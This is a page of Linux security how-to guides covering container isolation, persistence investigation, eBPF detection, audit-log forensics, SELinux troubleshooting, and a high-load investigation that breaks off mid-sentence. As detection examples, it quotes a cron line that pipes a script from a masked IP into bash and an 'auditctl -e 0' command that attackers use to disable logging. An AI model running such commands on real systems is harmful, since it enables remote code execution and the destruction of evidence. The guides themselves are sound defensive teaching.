Explore top 10 tips to secure your open-source projects now. Read More
×
Stay Ahead With Linux Security HOWTOs
How to Learn Tips and Tricks
threat detection system monitoring
threat detection system monitoring For small security and IT teams, the "enterprise" dream of a fully automated SIEM often feels like a distant luxury. It’s a vision built on massive budgets and dedicated engineering teams—things that, frankly, most of us don't have. But here is the reality: you don’t need a six-figure platform to maintain a secure environment. . Linux systems are, by design, incredibly verbose. Every time a user authenticates, a process executes, or a configuration file changes, your system creates a record of...
Jul 17, 2026
How to Learn Tips and Tricksnetwork security centralized logging
network security centralized logging Linux systems generate a steady stream of authentication, service, kernel, and application logs. On most systems, those logs never leave the machine that created them. If you're responsible for ten or twenty servers, that means checking each one separately. If one disappears before you can investigate it, its logs may disappear with it. Centralized logging solves that by sending log messages to another server as they're created. Instead of searching every machine, you have one place to review...
Jul 15, 2026
How to Secure My Networksecurity advisory audit
security advisory audit When you’re digging through an incident, your logs are the only thing you can actually trust. The problem is, attackers know that too. If someone gets root on your server, their first move is almost always to delete the evidence and cover their tracks. . If you aren't actively protecting your logs, you're basically flying blind the second a breach happens. It’s a miserable feeling to realize you have no idea what an attacker did because they wiped the logs before you even got there. In this...
Jul 11, 2026
How to Harden My Filesystemlog analysis security incident
log analysis security incident When an attacker breaks into a Linux system, their work is rarely done. Usually, the real work starts after the initial exploit: hiding their tracks. If you’re a Linux admin or security analyst, there is nothing worse than logging in, running a few commands, and realizing the logs aren't telling the whole story. When logs are missing or look "off," your primary source of truth is compromised. This guide covers how to handle that situation. We’ll walk through the workflow you need to determine...
Jul 10, 2026
How to Learn Tips and Trickssecurity practices linux
security practices linux One of the easiest mistakes to make in detection engineering is assuming a rule keeps working simply because nobody has touched it. Most of the time, nobody removes the rule. Nobody disables it. It just gets forgotten. . A few months later, someone upgrades a distribution, changes how SSH keys are managed, replaces a logging agent, or migrates an application to containers. The detection is still enabled, but it's watching an environment that no longer exists. The alert everyone expected never...
Jul 07, 2026
Refine HOWTOs
X Clear Filters
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
Is continuous patching actually viable?
Loading...
Explore Latest Linux Security HOWTOs
We found 831 articles for you...
160
linuxsecurity considerationscontainer securityHow to Check Docker Container Isolation in Linux
Docker makes containers feel like separate, lightweight virtual machines. They have their own hostnames, processes, and networking—but are they actually isolated? Many administrators assume they are without ever verifying the boundaries. If you’ve ever wondered what truly separates your application from the host, this guide is for you. We’ll use simple Docker commands to verify container isolation firsthand and uncover exactly what remains shared with the host. . What Is Container Isolation? Think of container isolation as a way to trick a process into thinking it has a server all to itself. If you’ve worked with virtual machines, you’re used to a hypervisor handling the heavy lifting—effectively carving out a slice of hardware. Containers are different. They don’t virtualize hardware; they use Linux namespaces to carve up the kernel’s view of the system. Basically, the kernel assigns labels to resources like network stacks or process lists. If a process in a container asks "What can I see?", the kernel only shows it the resources tagged with its specific namespace ID. It’s an illusion, sure, but it’s an incredibly effective one for keeping your applications from interfering with the host or each other. What Is Container Security? When people ask what container security is, they are usually looking for a way to keep their apps safe from start to finish. It’s not just one thing; it’s the whole process of managing your images, the runtime, and the host machine. The reason isolation is the biggest part of this is simple: if you don’t have a clear boundary, one bad script or one compromised app can easily reach into your host system. By knowing exactly what a container can (and can't) see, you can lock down your configuration and make sure that if one container fails, it doesn't take the whole server down with it. Step 1: Launch a Test Container with Docker Run To observe these boundaries, we’ll use the docker run command—the most common way to spin up a newcontainer. We are using the official Ubuntu image because it provides a familiar Linux userspace that is ideal for testing Docker commands. Run this command on your host: docker run -it ubuntu bash docker run : Creates and starts a new container instance. -it : Launches the container in interactive mode so you can run commands inside it. Once the command finishes, your terminal prompt will change. You are now working inside the container’s isolated environment. Step 2: Use Docker PS to Confirm the Container Is Running Open a second terminal window on your host and run: docker ps The output lists every active container, including its unique Container ID, image, uptime, and assigned name. Verify that your Ubuntu container appears in this list before moving to the next step. Step 3: Compare Hostnames to See Basic Isolation Let's see if the container truly has its own identity. Inside the container: Run hostname On your host: Run hostname You will see two different values. This is because the container uses the UTS (UNIX Timesharing System) namespace, which allows it to maintain a unique hostname independent of your machine. Step 4: Compare Running Processes Namespaces are at work here, too, preventing the container from seeing host-level processes. Inside the container: Run ps aux On your host: Run ps aux Inside the container, you will only see a small, clean list of processes, with bash as PID 1 because it is the first process started within that PID namespace. Meanwhile, your host terminal shows every system process. This PID namespace separation is vital for container isolation. Step 5: Use Docker Exec to Access a Running Container Administrators often need to debug a container that is already running in the background. For this, we use docker exec . Feature docker run docker exec Purpose Creates a new container Uses anexisting container State Starts a fresh environment Hooks into a running process Typical Use Initial testing/deployment Debugging or maintenance Run this on your host to jump back into your running container: docker exec -it bash Step 6: Compare Network Settings Run ip addr in both the container and the host. The container uses a separate network namespace, giving it its own virtual interfaces and a private IP address (usually in the 172.17.x.x range). This proves that the container has a private network stack, keeping its traffic separate from your host’s primary interfaces. Step 7: Compare Filesystems Create a file inside the container to test storage boundaries: touch /testfile.txt If you check your host’s current directory, you won't see this file. Although Docker stores the container's writable layer on the host, the file does not appear in your host's current working directory because the container has its own mount namespace. Step 8: See What Containers Still Share Finally, run this on both the host and the container: uname -r You will notice the kernel version is identical. This is the most critical lesson for container runtime security. Because containers share the host kernel, they do not provide the same "hard" security boundary as a virtual machine. According to official Linux kernel documentation , Linux namespaces provide logical partitioning, but they do not replace the need for secure kernel management. Common Container Isolation Mistakes Assuming Containers Are Virtual Machines: Containers are not hardware-virtualized. They are processes on your host, meaning a kernel-level exploit could impact the entire system. Running Privileged Containers: Using --privileged grants a container access to host devices, effectively bypassing many security namespaces. Using Host Networking: Using --net=host shares the host’s network namespace,removing all network isolation. Mounting Sensitive Directories: Mapping /etc or the Docker socket into a container can give the container full control over the host. Quick Reference: Observed Namespaces Namespace What You Verified UTS Different hostname PID Different process list Network Different interfaces and IP Mount Separate filesystem view Verify You've Observed Container Isolation Before you finish, ensure you’ve confirmed the following: Different hostname Different process list Different network interface Same kernel version File created inside the container is not visible in your host's working directory Container Security Best Practices To maintain a hardened environment, follow these container security best practices based on the CIS Docker Benchmark : Use Least Privilege: Never run your applications as root inside a container. Avoid Privileged Containers: Only use elevated privileges when absolutely necessary for hardware access. Keep Images Updated: Rebuild containers regularly using current base images to receive security patches and bug fixes. Patch Host Kernels: Since all containers share the host kernel, keeping your host OS updated is your primary defense against exploits. Audit Mounts: Regularly review which directories are mounted into your containers to prevent unauthorized host access. Final Takeaway You’ve now verified that containers provide effective logical isolation, but they are not the "air-gapped" environments that virtual machines are. Understanding these boundaries allows you to make informed container security decisions. Now that you’ve verified isolation firsthand, the next step is learning how Linux capabilities, cgroups, and seccomp further strengthen your environment. Exploring those features will help you move from basic containerusage to building truly resilient and secure systems. Want more Linux security news, vulnerability analysis, and software supply chain updates? Subscribe to the LinuxSecurity Newsletter and get the latest threats, advisories, and expert insights delivered directly to your inbox. . Explore how to verify Docker container isolation and understand its importance for securing Linux applications.. Docker Isolation, Container Security, Linux Best Practices. . MaK Ulac
Jul 06, 2026
•
How to Harden My Filesystem
160
Linux securityincident responsemalware detectionHow to Investigate Linux Persistence During Incident Response
You’re staring at a service or a cron job that’s giving you a bad feeling. Stop. The most dangerous thing you can do right now is act on that gut feeling alone. Linux systems are inherently noisy—package managers, configuration management, and the occasional "quick fix" from a colleague can all leave weird artifacts behind. . Step 1: Check Whether the File or Service Looks Normal When I'm looking at a scheduled task, I look for logic, not just anomalies. A cron job running /usr/local/bin/backup.sh at 2:00 AM? That makes sense. It fits the normal rhythm of a server. But if I see */10 * * * * curl http://198.x.x.x/x.sh | bash , the mood changes. Production servers rarely need to download and execute code from an external IP every ten minutes. Until someone can explain why it's there, I treat it like a priority. Useful commands # View system cron jobs cat /etc/crontab ls -la /etc/cron.* # View a user's cron jobs crontab -l # List active systemd services systemctl list-units --type=service # View a service definition systemctl cat suspicious.service Production servers rarely need to pull and execute code from an external IP every ten minutes. It’s possible there’s a legitimate business reason, but I’ve rarely seen one. Until someone can explain it to me, I treat it as a priority. If you find a service launching from a temporary directory like /tmp or a hidden folder in a user’s home, pause. Those aren't common locations for long-lived system services, and they deserve particular scrutiny. Step 2: Check Who Owns the File or Service This is usually where I find my first hard lead. Ownership tells you who the system believes is responsible for a file. If a service that's supposed to belong to root is owned by dev_user1 , you've found a trust boundary that's been crossed. Useful commands ls -l /path/to/file stat /path/to/file systemctl status suspicious.service If a service is supposed to be owned by root , but it’s owned by dev_user1 , you’ve found a boundary violation. During incident response, treat unexplained changes as potentially malicious until you can rule them out. If a web server account like www-data owns a startup script that runs as root , that’s a strong lead worth investigating further because it breaks an expected trust boundary. Don't overthink it: if the owner doesn't match the function, note it down. Step 3: Find Out When It Was Created or Modified Everything on a Linux system leaves a footprint. Don't look at that file in isolation. Don't investigate timestamps in isolation. Correlate them with authentication logs and sudo activity. That's how isolated clues become an attack timeline. Useful commands stat /etc/systemd/system/suspicious.service journalctl --since "2025-06-15 14:00" --until "2025-06-15 14:10" journalctl -u suspicious.service last grep sudo /var/log/auth.log Example Investigation Timeline Example Timeline 14:01 – SSH login from an unfamiliar IP 14:03 – User runs sudo 14:05 – New systemd service appears 14:06 – Service establishes an outbound connection One event isn't enough to call it malicious. Together, they tell a much more convincing story. Step 4: See What the Service or Script Actually Does Service names are cheap. Behavior is much harder to fake. Follow every layer until you reach the executable that's actually doing the work. Useful commands systemctl cat suspicious.service cat /etc/systemd/system/suspicious.service less /path/to/script.sh file /path/to/binary strings /path/to/binary Is it spawning a shell? Are you seeing a base64-encoded string that’s meant to be piped into bash ? Then, follow the chain. If ExecStart launches a shell script, open that script. If that script launches another binary, inspect that, too. Persistence often hides one layer deeper than the service file itself. If you see layers of decoding, ask yourself why. Admins rarely obfuscate their scripts;attackers do it to kill your momentum. Check what triggered it, too. A script that sits there is one thing, but one that’s actively firing every five minutes and reaching out to an external host? That’s not a configuration issue. That’s an active connection. Confirm Whether It's Actually Malicious You’ve got a list of anomalies. Now, you need to turn those observations into a verdict. This is where you stop guessing and start building a case. Step 5: Check Whether Linux Recognizes the File If you’re looking at a suspicious binary in a system directory, don’t just stare at it—ask the system if it’s supposed to be there. Use dpkg -S on Debian systems or rpm -qf on RPM systems to see if the file is tracked by a package. # Debian/Ubuntu dpkg -S /path/to/file # RHEL/CentOS/Fedora rpm -qf /path/to/file But look, if the package manager doesn't recognize a file, don't automatically scream "hacker." Plenty of companies use custom scripts, manual builds, or legacy junk that isn't managed by a package manager. If the system doesn't know about it, it just means you don't have a clear answer yet. Check with your team—if nobody knows why that file is there, then you can start worrying. Step 6: Don't Trust the Name Alone Attackers love names like dbus-monitor.service or system-sync.service . They’re betting that you’ll glance at the list, see something that sounds like an OS component, and keep scrolling. When I see names that sound "native," I get really suspicious. Compare the service description to the actual path of the binary. systemctl status suspicious.service systemctl cat suspicious.service readlink -f /proc/$(pidof suspicious_binary)/exe If the description says "Network Management Tool" but the binary is executing out of /home/user/.cache/ , you’ve found the mismatch. Don't look at the name—look at where the thing is actually living. Step 7: Check for Other Ways the Attacker Could Return Persistence is rarely a one-hitwonder. If an attacker gets into your system, they usually set up a few different ways back in. If you find one cron job and call it a day, you’ve basically just cleared the way for them to use their other entry point. Once I find one hook, I assume there are more. I start digging into /etc/crontab , checking authorized_keys for every user on the box, and scanning /etc/passwd for accounts I don't recognize. Assume they have a backup plan. If you only clean up one thing, you haven't actually kicked them off the system—you’ve just annoyed them. cat /etc/crontab crontab -l find /etc/systemd -name "*.service" find /home -name authorized_keys cat /etc/passwd Step 8: Save the Evidence Before You Remove Anything This is the hardest part. You’re stressed, you want the attacker off your machine, and it is incredibly tempting to just rm -rf the problem away. Don't. Incident Response Tip Removing a malicious file may stop the immediate problem, but it also destroys valuable evidence. Before making changes, preserve the file, calculate its hash, and collect the surrounding logs. Those artifacts may be the key to understanding how the attacker gained access—or proving what happened later. Useful commands sha256sum suspicious_file cp suspicious_file /secure/evidence/ journalctl -u suspicious.service > service.log tar czf evidence.tar.gz suspicious_file service.log What You've Learned About Investigating Linux Persistence If you’ve made it this far, you’ve stopped looking for "the bad file" and started looking for "the story." That’s the most important shift you can make in incident response. When you stop treating persistence mechanisms as isolated puzzles and start treating them as parts of a larger narrative, the game changes. You stop asking if a specific cron job is "malicious" and start asking why it’s there, how it got there, and what else it’s connected to. The reality of Linux IR is that there is no magical tool that willscream "Attacker!" at you. You are going to spend a lot of time looking at boring, standard files—until, suddenly, you aren't. Your job isn't to be a human antivirus scanner. Your job is to be the person who notices that one weird inconsistency in a sea of expected behavior. Remember: you don't need to know everything about Linux to start hunting. You just need to know what "normal" looks like on your machines. When you understand the rhythm of your own systems, the things that don't belong stand out on their own. So, the next time you find something that feels off, don't rush to hit delete. Take a breath, document the state of the system, and follow the breadcrumbs. It’s rarely about the one file you found; it’s about the path you’re about to uncover. Want more Linux incident response walkthroughs? Subscribe to our newsletter for practical investigations, detection techniques, and real-world Linux security scenarios you can apply in your own environment. . Step 1: Check Whether the File or Service Looks Normal When I'm looking at a scheduled task, I. you’re, staring, service, that’s, giving, feeling, danger. . Dave Wreski
Jul 03, 2026
•
How to Harden My Filesystem
166
security frameworkprocess monitoringeBPFHow to Build Behavioral Detections with eBPF on Linux
Building effective behavioral detections starts with understanding how processes behave at runtime, rather than simply collecting more logs. eBPF gives Linux security teams the visibility needed to correlate those behaviors into meaningful detections, moving away from static signatures and toward real-time analysis. . The first surprise for most people coming from auditd or legacy log collectors is how much context suddenly becomes available. Instead of just seeing that a shell executed, you also know who launched it, which container namespace it belonged to, and what it did next. That extra context is usually enough to explain why a process started in the first place. eBPF attaches to kernel events through mechanisms such as kprobes , tracepoints , and other hook types, allowing it to observe activity as it happens. You aren't parsing text logs after the fact. You are watching the system execute, which gives you low-latency runtime context. It helps capture short-lived process activity that might never make it into a traditional log file. A Practical Detection Workflow Before we dive into the mechanics, it helps to see the path. You aren't just writing rules; you're building a feedback loop. How eBPF Improves Runtime Security Visibility One thing you'll notice almost immediately is how noisy process execution becomes. A modern Linux server is constantly spawning short-lived processes you probably never realized existed. If you are a detection engineering practitioner, you know the frustration of alert fatigue: logs filled with thousands of events that tell you nothing about intent. eBPF gives you the granularity to cut through that. Much of this visibility comes from observing system calls, the interface processes use to request services from the Linux kernel. Process lineage ends up becoming one of the most valuable pieces of information you'll collect. Seeing /bin/bash execute tells you almost nothing. Seeing /bin/bash launched by nginx instead of an SSH session completely changes how you interpret that event. The command didn't change; the context did. Following that lineage across multiple generations often reveals the entire attack chain without requiring dozens of separate alerts. Choose an eBPF Security Framework You don't need to write raw C or Go code to harness this. Several frameworks sit on top of the eBPF layer. The underlying eBPF programs are doing the heavy lifting. These frameworks package that capability into rule engines, telemetry pipelines, and policy controls so you don't have to write kernel code yourself. Falco : Mature rule-based threat detection . Tetragon : Runtime policy and process-aware enforcement. Tracee : Event tracing and investigation. Cilium : Network visibility and policy for cloud-native environments. Falco is often the easiest place to start because it provides a mature rule engine and a large collection of community-maintained detections. Once you're comfortable with the telemetry, exploring tools like Tracee or Tetragon becomes much easier. Baseline Linux Monitoring Before Writing Detections Don't enable detections yet. Spend a day simply watching the telemetry. The first baseline almost always looks useless. There are hundreds of processes, package updates, scheduled jobs, and Kubernetes components doing things that initially appear suspicious. That's exactly the point. You aren't looking for attacks yet. You're learning what "Tuesday afternoon" looks like on this server. Limit your collection to events tied to process execution, network activity, sensitive file access, and namespace changes. The same approach applies to sensitive file access. Reading /etc/shadow isn't always suspicious, but who opened it, when, and what happened next often tells the real story. If you collect every available syscall , you’ll be staring at millions of records with no idea which ones matter. This is where most first-time eBPF security deployments gosideways. A common pattern is teams spending weeks writing complex detection logic before they've even collected a full day of runtime telemetry. Correlate Runtime Signals for Threat Detection Instead of monitoring isolated events, think about the "chain." An attacker’s goal is to go from entry point to a persistent foothold. Many of these behavioral chains map naturally to MITRE ATT&CK techniques, making them easier to organize and validate over time. When you capture an event, it looks something like this: Timestamp: 10:14:22 Event: process_connect Parent: nginx (PID 842) Child: /bin/bash (PID 913) User: www-data Namespace: production/web Destination: 203.0.113.5:4444 Every field here is a potential pivot point. None of these fields is particularly alarming on its own. Together, they tell a much more complete story. That's the difference between event collection and behavioral detection. Test and Tune Detection Engineering Rules Once you have a rule, verify it. Use Atomic Red Team . These are open-source scripts that mimic attacker behaviors. Run an "Atomic" test, observe the telemetry in your tool, and refine your rule. If you get a false positive, look at the parent process. Was it Ansible pushing a new configuration? Or was it apt or dnf running an unattended upgrade? If you see a legitimate process causing an alert, add an exception. Keep the exception as narrow as possible. If you just tell the system to "ignore bash," you've effectively turned off the security monitoring for that entire branch of your process tree. The Reality of False Positives You’ll see alerts for cloud-init running scripts that look suspiciously like persistence mechanisms. When that happens, your first instinct will be to write a broad ignore rule. Every allowlist entry should be specific enough that an attacker can't easily blend into legitimate activity. Also, remember container context. In a Kubernetes environment, seeing a process execute is nearly useless if youdon't know which pod, which container, and which namespace it belongs to. Always ensure your runtime security telemetry includes these metadata fields, or you’ll spend your entire day running kubectl commands just to find out which workload is generating an alert. Common eBPF Security Monitoring Mistakes Engineers often struggle with the same three mistakes during their first few months of deploying eBPF . First, they ignore the process lineage. They look at bash running a curl command and treat it as a standalone event, rather than looking at the process that spawned bash . Second, they try to treat these tools like a black-box EDR . EDR s often operate on a "install and forget" model, but eBPF provides the raw material, and it’s up to you to define what "bad" looks like. Third, they treat performance as the primary enemy. In reality, modern eBPF runtimes are hyper-efficient. The real enemy is poorly structured telemetry. If you collect everything indiscriminately, you won't have a performance problem, but you will have an "investigation" problem—you’ll be staring at a haystack trying to find a needle that wasn't indexed properly in the first place. Why Detection Engineering Rules Need Regular Tuning None of these detections are especially complex. Their value comes from the fact that they rely on behaviors attackers struggle to avoid, regardless of which malware or framework they're using. You’ll find that you stop trying to catch "everything" and start focusing on the five or six behavioral chains that represent your biggest risks. That focus is exactly what separates a noisy, unmanageable setup from a production-grade detection pipeline. Over time, you'll probably find yourself looking less at individual commands and more at the relationships between processes, users, namespaces, network activity, and file access. That's ultimately what eBPF changes. eBPF doesn't replace good detection engineering. It gives you richer runtime context, making iteasier to distinguish normal system activity from behavior that deserves investigation. Want more Linux security news, vulnerability analysis, and software supply chain updates? Subscribe to the LinuxSecurity Newsletter and get the latest threats, advisories, and expert insights delivered directly to your inbox. . Enhance Linux security with eBPF for real-time behavioral detection to identify threats and improve runtime visibility.. eBPF Linux behavioral detection security frameworks process monitoring. . MaK Ulac
Jul 01, 2026
•
How to Learn Tips and Tricks
166
incident responselinuxsecurity analysisHow to Read Linux Audit Logs During an Intrusion
When a security alert fires, the panic often sets in before the analysis. Many administrators instinctively reach for /var/log/auth.log or journalctl , but those logs tell only a partial story. They document successful logins and authentication attempts, but they rarely capture the granular "how" of a post-compromise environment. To truly reconstruct an attack, you need to master audit logs . Unlike standard authentication logs, Linux audit logs (managed by auditd ) record system-level activity, including specific syscalls, file modifications, and command executions. In this guide, we’ll move beyond administrative documentation to show you exactly how to reconstruct an attacker’s activity during a live investigation. . Quick Incident Response Checklist Define the scope: Identify the first suspicious timestamp. Find the entry point: Search for USER_LOGIN events. Anchor the AUID: Capture the original user ID to track activity post-escalation. Trace execution: Filter EXECVE events for the auid . Audit persistence: Check for file modifications in ~/.ssh/authorized_keys or cron . Detect tampering: Inspect CONFIG_CHANGE events. Correlate: Match audit events with firewall and EDR logs. What Linux Audit Logs Reveal (The Forensic Anatomy) Before running commands, understand that auditd creates a chain of evidence. Every action (like running whoami ) generates a syscall, and every syscall is tagged with an Event ID and an auid . The auid (Audit User ID) is your "golden thread." Even if an attacker runs sudo su - to become root, their original auid remains the same. You aren't tracking a changing uid ; you are tracking the session's source. Step-by-Step: Reconstructing an Intrusion Let’s walk through a standard attack: The Compromised Session. Step A: Identify the Entry Start by searching for the login event around your alert time : Bash ausearch -m USER_LOGIN -ts 2026-06-29:02:10 -i Look for: The auid field in the output. If the auid is 1001 , every subsequent command you search for will use that specific ID. Step B: Follow the Attacker (The AUID Trail) Once you have the auid , you can ignore the uid (which will switch to 0 when they become root) and follow their specific trail: Bash ausearch -ua 1001 -i Sample Output: Plaintext type=EXECVE msg=audit(1656500000.123:456): argc=3 a0="curl" a1="-o" a2="payload.sh" ... This shows the attacker downloading a script. The auid links this activity directly to the 1001 session, even if they are currently acting as root. Step C: Identify Sensitive File Changes Attackers follow a pattern when establishing persistence or escalating. Use this table to prioritize what to investigate : File Why Attackers Target It /etc/passwd To create or alter accounts for permanent access. /etc/shadow To crack password hashes or escalate privileges. /etc/sudoers To grant themselves permanent sudo privileges. ~/.ssh/authorized_keys To maintain persistence via SSH keys. To find these, use: Bash ausearch -f /etc/sudoers -i Step D: Investigate Privilege Escalation You will often see related syscalls. When an attacker elevates privileges, look for the sequence: execve : The execution of sudo or pkexec . setuid : The transition of the effective uid to 0 . chmod / chown : Attempts to manipulate file permissions to ensure their "backdoor" remains accessible. Correlation: The Key to Context Audit logs are powerful, but they are not a standalone truth. To verify the "why," correlate them: Network Logs: If audit logs show a curl to a suspicious IP, check your firewall logs to see if that connection was successful or blocked. EDR Process Trees: Compare the pid from your audit record to your EDR telemetry to see the fullparent-child relationship of the processes. FIM (File Integrity Monitoring): If you see a file access in the audit log, verify if your FIM tool flagged the file's hash as changed. Common Investigation Mistakes Chasing the uid : Never follow the uid . It resets when an attacker uses sudo . Always stick to the auid . Missing CONFIG_CHANGE : Sophisticated attackers will run auditctl -e 0 to disable logging. If you see a gap in your logs, search ausearch -m CONFIG_CHANGE to see if the logging service was tampered with. Forgetting Timezones: Ensure your ausearch timestamps match your system's UTC or local time settings to avoid missing the window. Final Thoughts The next time an alert fires, don’t stop at the authentication logs. Audit logs can reveal every command an attacker executed, every sensitive file they touched, and every privilege escalation path they navigated. By shifting your focus from "did they log in?" to "what did they do after they logged in?", you transform audit logs from simple compliance records into a high-fidelity forensic trail. Are you ready to harden your environment? Subscribe to the LinuxSecurity Newsletter for upcoming tutorials on writing custom audit.rules and building automated detection logic for your SIEM. Related Reading Auditd vs eBPF: Effective Strategies for Modern Linux Monitoring Linux Logs Often Miss Critical Attack Details and Detection Gaps Understanding Log Management and Analysis Tools for Linux Systems Effective File Integrity Monitoring Techniques for Linux Systems Understanding Linux Persistence Mechanisms and Detection Tools Linux EDR: Essential Tool for Cybersecurity and Incident Response . Learn how to analyze Linux audit logs to uncover activity during security incidents and strengthen your incident response.. Linux Audit Logs, Incident Response, Security Analysis, Intrusion Forensics, System Activity Tracking. . MaK Ulac
Jun 29, 2026
•
How to Learn Tips and Tricks
160
access controlSELinuxsystem administrationSELinux Troubleshooting: What to Check Before You Disable SELinux
SELinux troubleshooting is a necessary skill for any system administrator. When a service fails despite correct file permissions and ownership, the immediate instinct is often to disable SELinux to confirm if the security policy is the bottleneck. While turning off enforcement frequently "fixes" the immediate symptom, it hides the underlying configuration flaw—such as an incorrect context or a policy violation—that could leave your system exposed. This guide outlines a systematic approach to troubleshooting SELinux without compromising system security. . What is SELinux? Think of what is SELinux as a gatekeeper that doesn’t care who you are—it cares what you’re trying to do. While standard Linux permissions check if you have the "right" to touch a file, SELinux checks if the process itself should be doing that action. It's essentially a mandatory access control system that adds a massive layer of safety, even if your user permissions are wide open. Why does SELinux block access when Linux permissions look correct? This is the classic SELinux permission-denied headache. You can have 777 permissions and still get blocked. Why? Because you’re ignoring the SELinux context . SELinux treats every file like it has a secret "passport." If that passport doesn't match the job the service is doing, the kernel shuts it down. It doesn't matter if your Unix permissions are perfect; if the label is wrong, access is denied. Should you disable SELinux when something breaks? Short answer: No. If you're looking for how to disable SELinux, take a breath. Disabling it is like fixing a flat tire by just throwing the car away. It makes the "error" go away, but it leaves your system vulnerable. Always assume the policy is doing its job until you prove otherwise. Why does everything work after you disable SELinux? It’s a false positive. Everything works because you’ve ripped out the referee, not because your code or file structure is actually correct. You might still have an applicationrunning with the wrong path or binding to a dangerous port, but now the system won't tell you about it. What does SELinux status tell you? Always check SELinux status before doing anything else. It tells you if you're in Enforcing, Permissive, or Disabled mode. If you’re already in Permissive mode and things are still failing, you know your problem isn't SELinux—it's something else entirely. How do you check SELinux status? Keep it simple: run sestatus or getenforce. Knowing how to check SELinux status is your first real step in the investigation. If the output says "enforcing," you know exactly why your app is throwing errors. What are the SELinux modes? Enforcing: The system is actually doing its job. Permissive: It’s a "watch and report" mode. It won't block anything, but it’ll log every single thing that would have been blocked. Disabled: The security framework is dead in the water. Avoid this. What does SELinux permissive mean? SELinux permissive is your best friend during a crisis. It lets your services keep running, but it keeps the "evidence" flowing into your logs. It's the gold standard for troubleshooting. When should you set SELinux to permissive mode? Only when you're 90% sure SELinux is the culprit. Don't leave it here forever. Use it to verify if the app starts working. If it does, you've confirmed it's an SELinux issue and can move on to fixing the labels. Is SELinux permissive mode the same as disabling SELinux? People confuse these all the time. They are not the same. In permissive mode, the system is still checking policy and writing to the audit log. If you disable SELinux, you stop the engine. You lose the logs, you lose the visibility, and you lose the security. Where are SELinux logs? If you're hunting for answers, the SELinux audit log (/var/log/audit/audit.log) is where you'll find them. When you check SELinux logs, you aren't looking for a "success" message; you're looking for the red ink that explains exactly what thekernel hated about your last request. What is an SELinux AVC denial? An SELinux AVC denial is the "who, what, where" of your problem. It's the log entry that says: "Process X tried to do Action Y on Object Z, and I blocked it." It’s the closest thing you’ll get to a clear explanation from the OS. What is an SELinux context? It's basically a security tag. Every file, process, and port has one. If a web server needs to read a file, the file's SELinux context has to match what the web server policy expects. If you moved a file from a home folder to /var/www/html, that label likely didn't update. That's a classic SELinux file context mismatch. Why do SELinux contexts cause permission-denied errors? It's almost always a labeling issue. If you move or restore files, the labels don't always tag along. If you’re seeing errors, you probably need to run restorecon to reset them to their proper state. Why does SELinux break after moving files? Files don't always "inherit" the labels of their new home. You move a file, the system keeps the old label, and the service now thinks that file is an intruder. That's why your app suddenly stops working after a file transfer. What is an SELinux policy? It's the rulebook. Everything is governed by the SELinux policy . Most of the time, the policy is fine, and your application is just trying to do something non-standard. Can SELinux policy block ports or network connections? Absolutely. If your app tries to use a non-standard port, SELinux might shut it down. Check if you need to update the policy or toggle a boolean to allow that specific SELinux port. What are SELinux booleans? Think of booleans as "on/off" switches for common policy exceptions. You don't need to rewrite the whole rulebook; just flip a boolean using getsebool if you need to allow a common, safe action. Should you use audit2allow to fix SELinux problems? Be careful with audit2allow. It effectively writes a new policy based on your last error. If you’re justmislabeling files, audit2allow is overkill—it’ll just mask the problem. Fix the labels first. How do you troubleshoot SELinux without disabling it? Stick to the routine: Check the status. Check the logs for AVC denials. Check the file contexts. Toggle permissive mode if you need to see the "hidden" errors. Fix the labels or booleans. Don't reach for the "off" switch until you've exhausted every other option. Is SELinux worth it? Is SELinux worth it? The learning curve is steep, and it's definitely annoying when it breaks your workflow. But when you realize it’s the only thing keeping a compromised web server from trashing your database, you’ll be glad it's there. Keep it on, learn the basics, and you'll be ahead of 90% of other admins. Want more Linux security news, vulnerability analysis, and software supply chain updates? Subscribe to the LinuxSecurity Newsletter and get the latest threats, advisories, and expert insights delivered directly to your inbox. Related Reading Configuring SELinux: An In-Depth Guide to Securing Your Linux System SELinux vs. AppArmor: Key Trends, Security Insights & Frameworks . Learn how to effectively troubleshoot SELinux without disabling it, ensuring system security and functionality is maintained while correcting errors.. SELinux Troubleshooting, system security, access control, policy enforcement. . Dave Wreski
Jun 25, 2026
•
How to Harden My Filesystem
167
incident responseopen-sourceperformance monitoringHow to Investigate High System Load During a Security Incident
When a production server spikes at 99% CPU or the disk starts grinding, the knee-jerk reaction is usually to blame a bad code push or a runaway backup job. But if you’ve spent enough time in security incident response, you know that "performance issues" are often the first sign that you’re dealing with Linux malware. . If you don't have a systematic way to look past the performance graphs, you’re just guessing. Here is how you use Linux commands to peel back the layers when a system starts acting erratically. Understanding What "Normal" Load Means Before you touch a command, figure out what changed. A lot of ugly-looking spikes in Linux CPU usage end up being backups, software updates, or some forgotten batch job that nobody documented. Sometimes it's worse. The point is that you don't know yet. Build a timeline before you start chasing theories. When did the load increase? Did it happen after a deployment? Is it one server or twenty? The answers usually tell you where to look next. Once you've got that, start identifying what's actually consuming the resources. Step 1: Identify the Resource Under Stress Stop looking at the load average and start looking at the character of the load. Use standard Linux commands to isolate the bottleneck: CPU: Use the Linux top command or htop to identify the most active tasks. Memory: Run free -h to see if your Linux memory usage is being cannibalized by unauthorized processes. Disk: Run iostat -xz 5 to see if the disk I/O is saturated. Network: Use iftop to see if there is unexpected data movement. Step 2: Find the Process Responsible At some point, every load investigation comes down to a process. Maybe the server is pinned at 100% CPU. Maybe memory usage is climbing until the system starts swapping. Whatever the symptom, the next question is always the same: what's actually consuming the resources? Start by looking at the busiest processes on the system: ps aux --sort=-%cpu | head If memory pressureis the problem, switch your focus: ps aux --sort=-%mem | head Finding the process is only the beginning. The more useful question is how it got there. A process name by itself rarely tells the whole story, which is why I usually follow the process tree next: pstree -p Attackers don't need creative names. A malicious process can blend in perfectly if it's launched from something that looks legitimate. The parent-child relationship often reveals far more than the process name ever will. A service spawning an unexpected shell, a web server launching a binary, or a user process creating background workers are all worth a closer look. Step 3: Investigate the Process Context If a process looks suspicious, don't kill it yet. If it’s a Linux security incident, you might be helping the attacker clear their tracks. Verify location: Use which or ls -lah /proc/ /exe . If the binary is running out of /tmp or /dev/shm , treat it as suspicious until proven otherwise. Check User Context: Run ps -o user,pid,cmd -p . A process running as root that originates from a temporary directory is a massive red flag. Step 4: Detecting Cryptojacking Cryptojacking has become the go-to for attackers because it’s easy money. It doesn't look like an intrusion; it just looks like a hungry application. But miners have a tell: they have to talk to a mining pool. Use the Linux ss command ( ss -tulpn ) or netstat -plant to view your connections. If you see persistent, long-lived connections to foreign IPs on unknown ports, that is your indicator. If a process is consuming 80% CPU and talking to an external host, you have found the source of your Linux malware. Step 5: Check for Persistence Attackers 